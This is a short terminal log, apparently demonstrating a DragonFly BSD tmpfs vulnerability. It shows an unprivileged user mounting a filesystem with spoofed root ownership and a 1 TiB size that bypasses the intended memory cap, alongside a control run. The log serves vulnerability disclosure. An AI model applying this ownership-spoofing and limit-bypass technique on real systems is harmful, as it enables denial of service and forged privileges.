# guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC (INVARIANTS)
# setup (root): sysctl vfs.usermount=1; dirs owned by maxx
# run: as maxx (uid 1001), unprivileged:
$ id
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
$ ~/umount_demo /home/maxx/dfm1 0
mounter uid=1001 euid=1001, spoofing ta_root_uid/gid=0, ta_size_max=1TiB
statfs: f_blocks=268435456 (x PAGE_SIZE = 1099511627776 bytes = 1024 GiB), f_owner=0 (mounter is 1001)
root dir owner: uid=0 gid=0 mode=40600
unmount by mounter: FAILED (Operation not permitted) — f_owner forged to 0
#
# control (no spoof):
$ ~/umount_demo /home/maxx/dfm2
mounter uid=1001 euid=1001, spoofing ta_root_uid/gid=1001, ta_size_max=1TiB
statfs: f_blocks=268435456 (x PAGE_SIZE = 1099511627776 bytes = 1024 GiB), f_owner=1001 (mounter is 1001)
root dir owner: uid=1001 gid=1001 mode=40600
unmount by mounter: OK
#
# guest facts: hw.physmem=4257873920 (4GB), swap 4GB (/dev/vbd0s1b 8388608 512-blocks)
# designed cap would be pages_limit/2 = (1048576 + 1039519/2)/2 = ~784447 pages (~3GiB);
# user mount reports 268435456 pages (1TiB) — 341x the intended bound, no clamp applied.